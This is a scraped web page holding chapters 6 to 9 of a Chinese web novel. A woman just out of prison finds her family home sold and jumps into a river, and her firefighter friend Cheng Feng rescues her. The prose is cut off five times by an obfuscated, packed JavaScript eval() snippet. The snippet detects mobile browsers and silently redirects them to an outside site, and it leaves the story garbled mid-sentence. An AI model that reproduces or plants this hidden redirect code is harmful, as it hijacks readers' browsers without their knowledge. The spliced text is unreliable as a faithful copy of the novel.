;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660828|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是她说了算。 程峰小时候争不过她,也就乖乖当她跟班听她的话。 后来渐渐长大,不是争不过,却更怕她生气不理他。 程峰无奈,“我现在在东霞消防站当指挥员,每个月工资挺多的,你,现在也挺需要用到的,就先留着吧。” 原来他当了消防干部。 竺月以前在狱里听同宿舍的张姨提过,她有个侄子就是消防指挥员。 有正式编制,工资也还算不错。 竺月恍惚记起他那年拿到大学毕业通知书时似乎和自己提过,她勉强扯了下唇,“挺好的。” 从村里的五保户,成为一名在编消防指挥员,这些年,他应该也付出了不少努力。 像大家说的,他年轻有为,未来可期,不应该和她这种人混在一起。 想到这,她轻按了下他手,“你收着吧,工作那么辛苦,赚钱也不容易。” 程峰还想给她,“可是……” “程峰!”竺月脸色沉了沉,拿出当年在小孩帮里当大姐大的架势,“你是不是不听我话了?” “……” 程峰无奈看着那张带着薄愠的脸,“那你怎么办?” 她才刚出狱,身上一分钱都没有怎么行? “竺月……” “总会有办法。”竺月冲他扬了扬手里的芙蓉王,“这个留给我就行了。” 程峰下意识点头,眼底还是止不住的担忧,“竺月,那你以后——” 竺月环顾着熟悉的村落,“我想留下来。” 留下?那怎么行?没看她大伯怎么对她?村里人又是怎么说她的?程峰脸上一急,“竺月……” 仿佛看出他要说什么,竺月摆了摆手,“你不用管。” 奶奶走的时候她不在,以后她就想留在这片土地上陪陪她。 她低头点了根烟,也不在意周遭那些妇女大惊小怪的表情。 “你走吧程峰。”竺月咬着烟提上自己的东西。 “竺月……” 竺月嘴角一哂,“你走吧。” 像多年前她高中毕业去外地打工前和他告别,她挥了挥手,头也不回走了。 程峰脚步动了两下,竺月…… 他攥紧了手,终究没有追上去。 从小到大,竺月决定的事,根本不会改变。 程峰站在原地,定定看着那道瘦小的身影渐行渐远,直到变成了阳光下的一个小黑点。 又一阵风吹过,大片乌云席卷而来。 程峰抬头望向一团混沌的天空…… 要下雨了。 6. 第 6 章 @晋江文学城@ 夏天孩子脸,说变就变。 竺月抽完一根烟,头顶已经堆积了大片大片的乌云,黑压压沉甸甸的,有种山雨欲来风满楼的压迫感。 她沿着乡道朝村里走,路两旁除了原来的农田保护区,还新盖了些房子。 盛夏的稻田里,绿油油的稻苗随风摇曳,依稀可以预见秋收时的丰盛景象。 路上竺月遇到了几个乡邻。 几年未回,有的人已经记不住她了,但一旦认出来,反应就和她大伯一样。 东山村不算大,连她爸妈从前打架那点陈谷子烂芝麻的事都能从村头传到村尾,更遑论她了。 竺月扔掉烟头,前面就是村里那条标志性的小河了。 河面不宽,但河水很深。 她走到石板桥上,看见底下滚滚流动的河水在阳光下漾着晶莹剔透的光芒。 村里的小学离得并不远,但孩子们上课都要经过这里。 竺月记得小时候这条河曾有孩子掉下去淹死过,后来奶奶不放心,每天都要一路把她送过桥。 乌云遮住了炎炎烈日,她站在桥头,恍惚想起那些年奶奶站在桥头目送着她去上学的场景。 奶奶…… 从大伯家出来,那些话在她脑海里不断回放,竺月胸口闷得有些喘不上气,脸颊却是干的,一滴泪都没有。 几年的监狱生涯,仿佛将她整个人也抽干了一般。 “咔嚓”一声,一道银白色的闪电划过天际,紧跟着便是一阵轰隆隆的雷声。 天越来越黑了。 竺月定了定神,继续朝村里走。 竺家老宅位于村子深处的公庙旁,竺月小的时候这里十分热闹,屋前一大片空地,是孩子们的天堂。 她是孩子王,几乎那些小孩都听她的话。 后来家家户户都搬出去盖了房子,大伯一家也搬走了。 父母离异后,奶奶便带着她住在老宅,一直到她嫁人。 而现在,这一排古厝只剩少许人家。 竺月低着头朝熟悉的老宅走去—— “……竺月?” 一道迟疑的声音从不远处传来。 竺月停下脚步,才发现老宅门前石墩上坐着个年轻女人。 女人手里抱着婴儿,正一脸诧异望着自己。 “……春梅?” 几年的牢狱生涯让竺月的反应有些固化,但她还是隐约从对方的轮廓认出人来。 柯春梅,也是她小时候最要好的玩伴之一。 “你怎么……在这?”竺月记得她家在后面最后一栋土坯房那里。 柯春梅从她拐进前面房子时就注意到她了,等人走到面前才确定这个人真的是竺月。 竺月瘦了很多,也憔悴了很多,一双黑色的眸子毫无生气,柯春梅几乎无法将她和记忆中那个爱笑爱闹的女孩对上号。 她怔怔看她,半晌才找回自己的声音,“你,你什么时候出来的?” “今天。” 竺月并不意外她的反应,她扯了下唇,下意识想要摸烟,又留意到她怀里的婴儿,于是讪讪住了手。 “哦。”柯春梅勉强笑道,“挺好的,出来……就好。” 竺月没接话,视线扫向她怀里,“你儿子?” 柯春梅顺着她视线低头看了眼,黝黑的脸上泛起一丝窘迫,“是女儿。” 竺月:“多大了?” “刚满周岁。” “长得……挺好的。”竺月看着那孩子,木然的眸光浮起一丝类似惘然的情绪。 小婴孩似乎也不认生,两人说话间,那双乌溜溜的大眼睛好奇地望向竺月。 同样粉嫩嫩的小脸,肉嘟嘟的小嘴…… 竺月眼前浮现出女儿的模样。 她笑容微敛,心口涌起一阵钝钝的疼。 对面的柯春梅留意到了她脸上的表情,她知道竺月婚后生了个孩子,可惜后来夭折了。 两人小时候常在一起玩耍,柯春梅书读得不好,初中毕业就出去打工了,当时竺月成绩比她好很多,她一度十分羡慕竺月,觉得她一定能考上大学,没想到最后却…… 柯春梅心里一阵唏嘘,安慰她,“出来就好,等一切稳定下来,以后再找个——” “春梅你和谁说话呢?” 刘玉丹端着碗米糊从屋里出来,看见女儿抱着孩子和一个陌生女人说话,不由奇怪道,“谁啊?” “哦,她……”柯春梅目光闪了下,含糊道,“只是路过问个路。” 说着偷偷朝竺月摆了摆手示意她赶紧离开。 明明这里是她家老宅,为什么要让她走? 竺月视线狐疑掠过门口的婴儿车、竹竿上晾晒的那些衣服,心里隐约冒出一个不敢确定的念头。 “春梅,你们怎么会住在我家?” 刘玉丹正要给外孙女喂米糊,闻言转头,“你家?谁说这是你家,这已经是我们柯家的房子了,你是……竺月?!!!” 她瞪着竺月,表情像吞了个鸡蛋,“你……你出来了?” 经过这一路,竺月对她的反应并不意外,她拧眉望着她,“你刚才说这是你们家的房子?什么意思?” “你大伯没告诉你,房子已经卖给我们家了?”刘玉丹说着脸上带了些防备,“我告诉你,这老宅我们可是花了十万才买下来,买卖合同白底黑字捺手印,村支书见证的呢。” “轰隆”,又是一阵电闪雷鸣,柯春梅怀里的孩子不安啼哭了起来。 “要下雨了,还不赶紧孩子抱进去?” 仿佛怕竺月会过来干什么似的,刘玉丹推了推女儿,“我还以为你和谁在聊呢?在这掰扯半天。” “妈。” 柯春梅望着面前黑沉沉的天空,目光扫过竺月手里那个简陋的塑料袋,她犹豫了下,“快下雨了,要不让她进来避会儿?” “避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660829|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么避,你不知道她谁吗?”刘玉丹满脸嫌弃瞥了竺月一眼,一边数落女儿,“要是被你婆家知道你跟她走得近,以后更看不起你了!” 柯春梅霎时不敢说话了。 刘玉丹不由分说推着她进了堂屋。 不过眨眼,豆大的雨点从天空中砸了下来。 一滴、两滴、滴滴落在竺月头上、脸上、身上……瞬间沾湿了她的头发和衣服。 雨水顺着眼睛蜿蜒落下,竺月却顾不了,“刘婶,我大伯没和我提这事,什么时候卖的?为什么都没人告诉我?” 见她脚步往前挪,刘玉丹厌烦挥了挥手,“反正房子已经是我家的,有什么问题自个问你大伯去!” 她直接拉上门口的小矮门,“你大伯说了,你一个嫁出去的小辈,这房子跟你没什么关系。” 像是怕竺月会赖在这里不走,她“嘭”的一声,干脆连大门也一并关上了。 “咔嚓”,又一道银白色的闪电划过天际,竺月愣愣望着面前紧闭的木门,这座老宅记载着她儿时最美好的时光,也满载着奶奶留给她的那些温暖记忆…… 雨水模糊了眼帘,竺月胡乱擦了把眼睛,她顶着大雨直直往回冲。 她要去问大伯,为什么要把老宅卖了?为什么不和她说一声?为什么连奶奶要走了都不告诉她? “她那么疼你,最偏心的就是你!连弥留之际心心念念的还是你,而你呢?你又是怎么回报她的?” “如果不是因为你,老太太还能多活几年。” “竺月,你就是个祸害!” 雨越下越大,密密麻麻倾泻而下,雨水携裹着泥土的腥味,在路上形成一道道浑浊的小沟渠。 不大的村落,家家户户都关上了房门,天地间白茫茫的一片,好像只剩下她一个人似的。 不知不觉,竺月再次经过那座桥。 桥下,原本温和的水流变得躁动而汹涌,波浪一层推着一层,不断撞击着河岸的石头,好像一张张开的血盆大口。 竺月缓缓停下脚步。 她怔怔看着底下不断翻涌的河流。 父母不要她了,奶奶走了,女儿死了,老宅也被卖了…… 她终于离开了那座牢狱,却带着污点出来,孑然一身,无处可归。 就算活着,也不知道还有什么意义? 不如,就这样去陪奶奶吧…… 绝望的念头一旦冒了出来,就像旷野里的野草一样在心底疯狂成长。 她的人生都已经这样了,这个世界于她而言,还有什么可留恋的…… “我的小时候,吵闹任性的时候,我的外婆总会唱歌哄我,夏天的午后,老老的歌安慰我,那首哥好像这样唱的,天黑黑,欲落雨……” 耳畔响起古老的童谣。 竺月轻轻弯起嘴角,仿佛看见奶奶在朝自己招手。 她终于闭上眼,直直朝前跳了下去—— “竺月!” 7. 第 7 章 @晋江原创@ 暴雨如注,雨帘从黑色云层中倾泻而下,又落入河水之中,很快和惊涛骇浪融为一体。 竺月微微仰起脸,冰凉的雨滴打在脸上,耳畔似乎隐约听见有谁在呼喊自己的名字。 ……是奶奶吗? 她眯着眼,视野最后是一片混沌的天地。 失重感汹涌而至,像一颗巨石坠在脚上,狠狠将她拽入冰冷的河里。 “竺月!” 程峰赶到桥头,只看见她单薄的身体像一片飘零的落叶,朝汹涌澎湃的河水中直直坠去。 滚滚翻腾的河水瞬间吞噬了她,好像整颗心也跟着跌入深渊。 程峰不及多想,纵身一跃,跟着跳入河里。 雨势未减,冰凉的河水刺地身体一个激灵,程峰眯着眼睛在视线范围内搜寻,隐约看见不远水面有一处突起的水流,他调整了下呼吸,连忙奋力朝那边游去。 河水湍急,水流不断冲击着他的身体,像无数只无形的手,不断撕扯着他,想要将他拉入幽深的河底。 程峰咬紧牙关,凭着多年训练下来的泳技,终于渐渐靠近那道起伏的身影。 “竺月!” 就在他即将拉住她时,一个巨大的浪头打了过来,将竺月单薄的身体狠狠冲了出去。 程峰心中一紧,顶着水流迅速调整了下身体,朝她被冲走的方向再次追去。 “竺月!” 不远处,竺月感觉有水灌入自己的耳朵、鼻子,肺部涌起阵阵压抑的痛苦。 她认命地闭上眼睛,只觉一阵天旋地转,河面隔绝了外界的世界,只剩下“咕噜咕噜”的水声在耳畔疯狂作响。 很快就解脱了吧。 她这样想着…… 下一秒,突然感觉手臂一紧,胳膊被一只有力的大手抓住了。 “竺月,你抓紧我!” 年轻清冽的男性嗓音,夹在迅猛的水流声中,显得有些不真切。 竺月微微睁眼,等看清身侧那张清俊的脸时,不由怔了怔,“程……” 刚张开嘴,河水顿时灌入喉咙,她被呛了一下,“咳,咳咳……” 程峰手臂一划,整个人贴近她身体。他牢牢托住她身体,示意她扶着自己肩膀,“别说话,抓着我。” 竺月却只是摇头。 救她做什么呢? 程峰只觉掌心滑了下,她纤细的手臂挣开了他。 竺月? 他面上一急,连忙再次抓住她,“你不要冲动……只要活着,总会有希望——” 竺月不语,只用力推着他手想要挣开他。 程峰你放开! 她在乎的人都已经死了,这世上早已没什么可以眷恋的了…… “竺月!” 程峰的手臂紧紧箍着她,无论如何都不肯放开,他借着换气的功夫劝她,“奶奶……辛辛苦苦把你养大,她肯定希望你活下去……你……才二十几岁……生命才一半都不到,怎么可以……就这么放弃?!” 他这两年救了不少人,却是第一次救身边认识的人,还是他心里最在乎的那个。 雨还在不停地下着,又一个浪头打过来,狠狠砸在两人身上。竺月的挣扎让程峰有些吃力,河水模糊了程峰的视线,只觉一股巨大的力量拽着他往底下沉,但他还是咬紧牙关,不顾她挣扎死死将人拖在胸前,“竺月,你……唔……” 他被河水呛了一下,声音嘶哑,“……为了自己……为了在乎你的人……也要努力活下去……” 竺月痛苦摇头,“程峰……你放开我吧……” “不放,要活……一起,要死也一起。” 一向温顺的弟弟,此刻前所未有的固执。 从竺月这个角度看去,程峰脸颊湿漉漉的,年轻的侧脸,抿直的唇线,显得坚毅而执拗。 灰沉沉的天空,汹涌的河水,眼前的一切仿佛一幅水墨画,挣扎在冰冷河间的两人就是那根画笔,在挥毫泼墨间旋转时空…… 竺月大脑有瞬间的恍惚,眼前突然浮现出第一次见到程峰的场景。 那年她才六岁,跟着奶奶好奇地挤在人群里。 村口的歪脖子树下,一个包着襁褓的小婴儿被人丢弃在一个简易纸箱里。 正是冬天,路边的草地结满了霜,空气里都是冰凉刺骨的气息。 小婴儿一张小脸冻得通红,却不哭也不闹,只睁着双漂亮的眼睛好奇张望着围观的人。 人们议论纷纷,但是谁也没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660830|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去动他。 东山村并不富裕,每家每户养两三个孩子都十分吃力。 最后还是住在村尾那个捡破烂的老程把他捡了回去。 老程是个哑巴,还跛了条腿,四十岁了都没能娶上老婆。 程峰的童年几乎都是在老程那部破推车上度过。 东一家西一家剩下的旧衣服,谁家不要了的米糊,过期的奶粉,剩下的馒头包子……真正意义上吃百家饭长大。 渐渐大了之后,就有调皮的小孩经常逗程峰,说他捡破烂,说他是小哑巴,还说他是没人要的野种…… “生命只有一次……无论……什么时候……都不要放弃。” 嘶哑的嗓音拉回了竺月的思绪,她眨了眨酸涩的眼睛,面前程峰还在竭力拉着她往河边游。 他一手扶着她,另一只手像木浆一样往前挥,修长的臂膀因为用力而绷起肌肉的形状,宽阔坚韧的后背仿佛蓄满了力量。 当初的小可怜,已经长大了…… 程峰,你真傻,为什么要跟过来? 竺月苦笑了声。 河水如同张牙舞爪的猛兽,暗流在河底不断涌动,形成一个个巨大的旋涡,仿佛随时要将他们卷入无尽的深渊。 她想,之前村里那个小孩,就是这么被卷走的吧? 冰凉刺骨的河水让她的四肢变得有些僵硬,身体近乎失去知觉,她声音渐渐虚弱,“程峰,你放开我吧……” “别说傻话了!” 雨还在不停地下着,程峰感觉她的身体在缓缓下滑,他连忙揽着她肩膀换了个方向,几乎半托半抱着她。 “竺月,你再坚持下。” 程峰一边安抚她,一边滑动手臂用力往岸边游。 身侧的人没有回应。 竺月脸色苍白如纸,她双目紧闭,嘴唇被冻得发紫,瘦弱的身体软软靠着他,像一片即将凋零的花瓣。 两人离得那么近,近的他几乎能感觉到她背上凸起的蝴蝶骨,磕得他胸膛都有些生疼。 程峰鼻头一酸,她真的好瘦,好小。 又一个浪潮涌来,水中的暗流更加凶猛。程峰再不敢松懈,他定了定神,竭尽全力往河边游去。 竺月,你一定要活下去…… 8. 第 8 章 @晋江原创@ 竺月做了一个梦。 梦见七岁的她坐在老宅门口的石墩上,身后奶奶正弯着腰给她编头发,奶奶编了两条麻花辫,上面还系着五彩斑斓的彩带。 她觉得自己的新发型很好看,于是跑去跟小伙伴玩跳绳,两个还在在旁边拉绳子,她在中间跳啊跳。 色彩鲜艳的彩带随着她头发一蹦一蹦的,仿佛两只振翅高飞的蝴蝶。 她跳得正得意,却突然感觉绳子好像被人拉高了,她猝不及防绊了下,身体踉跄着朝前跌去—— “咳咳……” 竺月被自己的梦呛醒了。 “醒了?”耳畔传来一道很轻柔的男声,“感觉怎么样?” 竺月缓缓睁开眼。 视线映入一张年轻英挺的脸,平头,眉宇隐有几分担忧。 竺月茫然望着他,有种“不知今夕是何年的”的恍惚感。 “是不是还很难受?” 程峰身上淌着水,脸上隐有疲意,眸光却紧紧落在她身上。 “头晕吗?会不会想吐?” 竺月的视线从他脸上缓缓下滑。 程峰赤着上身靠在她旁边,手里拿着条干毛巾,似乎正要帮她擦脸。 两人所处的位置也早已不是湍急的河里,看着像是程峰的车里。 程峰见她唇色发白,神情却还算平静,不由微松了口气。 “醒来就好,先缓一下。” 说着从后座拿来一瓶葡萄糖水,上岸后他给她做了简单的检查,本来以为要做心肺复苏,后面判断应该是低血糖所致昏迷,便率先把人抱上车。 “你今天都没吃,又在太阳下晒那么久,身体肯定扛不住。”他旋开瓶盖想要扶她,“喝点葡萄糖垫一下——” 竺月摇头,避开了他手。 程峰:“……” “为什么……要救我?” 竺月声音还有些虚弱,眼睛没看他,视线木然落向上空青灰色的车顶。 外面暴雨未停,雨水噼里啪啦落在车顶,在前挡风玻璃上蜿蜒成一道道细小的沟渠,雨刮器规律滑动着,发出“唰唰,唰唰”的沉闷声响。 她脸上的灰败让程峰心头一酸,他喉头微哽,“你怎么那么傻?” 她朝河里一跃而下的那一幕现在还让他心有余悸,如果自己当时再晚来一步…… 程峰不敢往下想,他抿着唇,身体因克制而微微紧绷。 既气她不爱惜自己的生命,又心疼她走投无路的绝望。、 “你这样做,对得起奶奶吗?” 竺月心头一刺,没说话。 她唇色苍白,眼中一片萧瑟,程峰嘴唇动了动,不忍再说重话。 他攥着毛巾轻轻擦掉她颊畔的水,语气和缓几分,“生命只有一次,一旦放弃,就什么都没有了。” 竺月没说话,眼中泛起一丝淡淡的冷嗤。 那又如何?就算不放弃,她本来也什么都没有了。 程峰将她脸上颓然看得分明,他轻叹了口气,“活着才有希望——” “有什么希望,苟延残喘吗?”竺月想起村里人的态度,“你不该浪费力气,就应该让我死了算了。” 在大家眼里,她跟死了也没什么分别。 或许当时蒋庆明打她时根本不应该反抗,横竖都是死,这就是她的宿命…… “我说了,要活一起,要死也一起。” 略沉的声音拉回了竺月思绪,她愣了下,对上程峰那两束清冷的眸光。 他是认真的。 竺月不说话了。 想起刚才在河里的危急场景,任凭她怎么挣扎,他始终不肯松手。 都说和平年代消防员是牺牲最多的人,雨下那么大,河水又那么急,要是她刚才一直挣扎,两人最后都得淹死…… 这个傻小子!他才二十四岁! 竺月麻木的脸上终于出现一丝动容。 想像小时候那样弹他额头,无奈力气全无,只能撇了下嘴,“就为我这么个有案底的犯人?” “有案底怎么了?”程峰浓眉一拧,十分不喜她这样轻贱自己,“你也是逼不得已,如果可以选择,根本不可能走到这一步。” 他小心观察了下她表情才继续,“你已经付出了代价,既然出来了,就要向前看,不要再回头,过去的那些……” 他说不下去了,喉头发堵,一阵自责涌上心头。 如果他早知道她要嫁的是那样一个禽兽,当时就该不顾一切带她走! 车厢里突然一片寂然。 在竺月印象中,这个比她小五岁的弟弟一向沉默寡言,今天却对着她讲了这么多大道理。 竺月扫了他一眼,“你们消防员,都这么会说话吗?” 程峰耳垂一下子红了。 竺月:“程峰……你真是傻。” 迎着那双带着戏谑的黑眸,程峰脸颊一烫,垂眸避开了她视线。 “奶奶说过,傻人有傻福。”他神色微赧摸了摸头。 他这不是终于等到她出来了…… 竺月并不知道他的心思,想到已逝的奶奶,她眼光再次黯淡下来。 程峰抬眸看她,“如果奶奶泉下有知,她肯定也不想你做傻事,她那么疼你,肯定希望你能快乐幸福地活下去。” 活下去?竺月苦笑,“怎么幸福?老宅都被我大伯卖了!我连个去的地方都没有。” “老宅卖了?”程峰瞳孔一震,“什么时候?” 他并不知道竺月遇到柯春梅的事,老程去世后他一直都在外地求学,对老家的情况并不了解。 竺月:“我不知道,但是已经卖给柯家了。” 程峰拧眉,“他怎么不和你商量一下?明明这房子你家也有份!!” 说着拉开车门就往要外冲。 一阵冷风顺着门缝趁虚而入,滴滴答答的雨水灌了过来。 “你干嘛?”竺月喊他。 程峰一只脚已经趟出去了,不顾豆大的雨滴打在自己身上,他上身紧绷,语带愤慨,“我找他说理去!” “回来!” “竺月,你等我下!”这房子承载在她和奶奶那么多的回忆,程峰几乎可以想象她万念俱灰的样子。 奶奶走了,现在连老宅都被卖了,怪不得她会轻生。 一股怒火直直冲向脑门,他沉着脸下车,“怎么说也要让他给你个交代!” “程峰你回来!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660831|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “竺月你等我——” “回来,程峰……”副驾车门被推开,竺月刚出来就重重打了个喷嚏。 程峰没想她会跟下车,急道,“你怎么下来了?外面还在下雨,一会淋湿了!” “那我叫你回你怎么不……哈欠。”竺月身上衣服本就是湿的,被冷风一吹,瞬间打了个哆嗦。 程峰三步并作两步走向副驾,按着她肩膀想让她上车,“先回车上,一会儿着凉了。” 竺月却不管,“你不回我也不回。” “竺月……” “那你不许去!” 四目相对,竺月脸上写着明明白白的坚持。 视线掠过她苍白的嘴唇,程峰咬了咬牙,终是无奈妥协,“行,我答应你。” 竺月吸了吸鼻子,这才顺着他拉开的车门坐回去,“说风就是雨,跟头蛮牛一样。” 程峰听得一窘,却没反驳,只是关好车门默默回到驾驶座。 他平常没这么冲动,也不知道刚才怎么脑子一热就…… 竺月又重重打了个喷嚏,她是真的冷,“快把门关上。” 程峰听话照做。 又一阵狂风呼啸而过,车窗发出细微的震颤声,却十分尽职地将风雨声阻绝在外,形成一方静谧温暖的小天地。 “喝点葡萄糖吧。”程峰重新把瓶子递过去。 他皮糙肉厚,又天天训练,泡这么会儿水根本没什么感觉。 但是竺月不一样,她那么瘦,又折腾半天,刚才还晕过去了…… 视线扫过她身上,灰扑扑的T恤这会儿已经全部湿透了,紧紧贴在身上,胸部曲线顿时一览无余。 程峰脸一烫,飞快收回目光,“我我车上有作训服,你,要不要先换上,一、一会儿着凉了?” 磕磕巴巴说完,一张脸几乎全部红透。 竺月兀自接过瓶子抿了口,湿湿的衣服贴在身上确实很难受,便嗯了声。 程峰长臂一伸,从后座拿了个备用包过来,除了作训服,还有一整套简易的救援装备。 竺月看了眼,“那你呢?” 程峰还光着上身,下面的裤子也都湿了。 竺月视线落在他小麦色的肩背上,犹记得几年前他还瘦的像竹竿一样,现在都已经有肌肉了。 肌理分明,不算多夸张,薄薄的一层坚实而分明,充满力量感。 应该是许多女孩子会喜欢的那种类型。 竺月望着他,不知道他现在交女朋友了没? 程峰见她视线落在他身上,低头看了眼,有些不自然地红了红脸,“我……我没事。” 竺月便没说什么。 她转过头,外面雨还在下着。身侧玻璃窗印上了斑驳的水渍,视野里的乡道、田野、山脉都模糊一片。 程峰比她高很多,衣服也大了好几个码。 竺月拿着衣服在身上比了一下,感觉可以当睡裙。 程峰见状摸了摸头,“那,那你先换,我去外面……” 刚要开门下车—— 身侧传来竺月的声音,“雨下那么大,你去哪儿?” 程峰僵在原地。 竺月:“就这么换吧。” …… 9. 第 9 章 @晋江文学城@ 白色小车沿着蜿蜒的乡道朝高速入口方向驶去,车轮溅起零星水花。 外面雨势渐小,雨刮器的速度也慢了下来。 程峰双手握着方向盘,上身笔挺,目光专注落在车前方。 车窗对面,依稀可见近处的山麓上渐渐散开的云雾,像冬日清晨晕开的水汽。头顶隐有光芒从厚重的云层中洒落下来,天色渐渐没那么暗了。 仿佛过了一个世纪那么漫长。 副驾驶座的竺月终于换好了衣服。 程峰三个X的上衣尺寸于她而言实在太大了,藏蓝色的短裤也被她穿成了七分裤。 竺月晃了晃垂在胳膊肘上的袖子,有种小时候偷穿母亲裙子的感觉。 程峰的作训服很干净,上面只有一层淡淡的皂香,和他身上的一个味道。 她低头闻了一下,“你们平时也发肥皂吗?” “……” 程峰喉结轻滚了下,耳垂已经红得几乎能滴出血。 知道她换好衣服,他紧绷的肩膀终于放松下来,缓缓吐了口气,“嗯,都是站里给发的。” 目光总算不用再一直保持直线了。 他暗自苦笑了声,不知道该说她太信任他,还是她眼里根本没把他当男人看? 他清了清嗓子,迟疑地看了眼车内镜。 副驾驶座上,竺月整个人套在他的作训服里,本就单薄的身形显得更加娇小了。 她低着头正在整理自己从监狱里带出来衣物。 程峰视线极佳,就这么一眼,他还瞥到一条浅肤色的肩带,竺月手拉着那条肩带,一并塞进她装行李的那个塑料袋里。 塑料袋里面的东西估计也都湿了,刚才还是他在河边捡回来的…… 程峰一愣。 等意识到刚才看到的是什么东西时,脸上温度瞬间再次窜了上去。 她……内衣也都脱了…… 虽然知道这样做才是对的,但一想到她里面什么都没穿,就那么直直套着他的衣服—— “轰”! 程峰握着方向盘的手不自觉抖了下,整张脸差点烧起来。 竺月不知道他此刻的想法,在她心里,除了奶奶,程峰绝对是这世上最值得她信赖的人,没有之一。 他俩除了没有血缘关系,基本和姐弟没差。 她坚信程峰也是这么想的。 小时候程峰经常穿她旧衣服,他们还一起在河里玩过水,一起洗过澡。 竺月并不觉得在他旁边换衣服有什么不妥,只要程峰不看就行了,何况外面雨还下得那么大。 收好东西,她随口问道,“你们平时什么都发吗?” 略显清冷的女声将程峰从遐想中拉回,他恍惚了下,“啊?什么?” 竺月指了指自己身上衣服,“这些也都是你们单位发的吧?” 程峰扫了眼车内镜,她神色从容,丝毫没发觉他的异常。 他为自己那些乱七八糟的念头感到羞愧。 暗自骂了自己一声,他咽了咽发干的嗓子,“对,洗漱用品、衣物鞋袜、餐具都会发,有时候还给发些能量补给品……” “那还挺好的。” 竺月想起自己在狱里一把牙刷两元、一支牙膏五元、一块肥皂十元,一瓶小小的洗发水二十元……几乎处处都要用到钱。 之前听说消防员待遇稳定,包吃包住,连衣服鞋子和日用品都不需要花钱,到手的工资都能一分不少存下来,他又不抽烟不喝酒,怪不得才工作两年就能买车。 不仅如此,他还…… 红灯了,白色朗逸跟在车队后缓缓停下。 程峰给车窗开了条缝,总觉身体有种说不出的燥热,就算对着空调直吹也降不下温。 “程峰,这些年你给我汇了多少钱?”竺月问。 程峰一愣,很快反应过来。 “没,没啊。”他故作镇静道,“那些都是竺奶奶让我给你汇的。” 奶奶? 竺月眸光微黯,这话她信了一些,却不是全信。 “我奶奶哪有那么多钱?” 她爷爷以前是镇上供销社的,去世后政府发了笔抚恤金,但后面都分给她爸和大伯,加上之前大堂哥结婚,还要养她,奶奶自己也没剩多少了…… “真的!” 程峰眸光微闪,仿佛怕她不信,还刻意耸了耸肩,“我在上学,也没什么钱。” 至于那些勤工俭学省吃俭用的经历,程峰觉得没必要让她知道。 “是吗?” 竺月回忆自己在狱里的这五年,除了失去自由,工作时间长了些,生活上其实并不像其他服刑人员过得那么清贫。 透过车内镜,程峰对上她疑惑的视线,他很快避开了,“或许……其他人也给你汇了钱呢。” “怎么可能?” 竺月自嘲一笑,她爸妈自从各自再婚后基本就不管她了,她高中学费还是奶奶给出的,得知她坐牢后两人对她唯恐避之不及,根本不可能去管她在狱里的死活。 在他们心里,巴不得她这个女儿趁早死了吧…… 竺月望向车窗之外,外面雨渐渐停了,田野青翠葱郁,天上的云雾也散开了,隐约能看见晚霞的光芒。 可能真的是奶奶给的吧。 她转头看他,“那这两年总归都是你给的吧?你给我汇了多少钱?” 绿灯了,程峰换挡起步,“没,真没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660832|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多少,你不用放在心上。以前我不也经常在你家里蹭饭?你就当是饭钱。” “那怎么能相提并论?” 小时候的程峰很可怜,老程没有照顾孩子的经验,程峰跟着他经常饱一顿饥一顿,常常大冬天还穿着单薄的秋衣和凉鞋,冻得十个脚指头长满了冻疮。 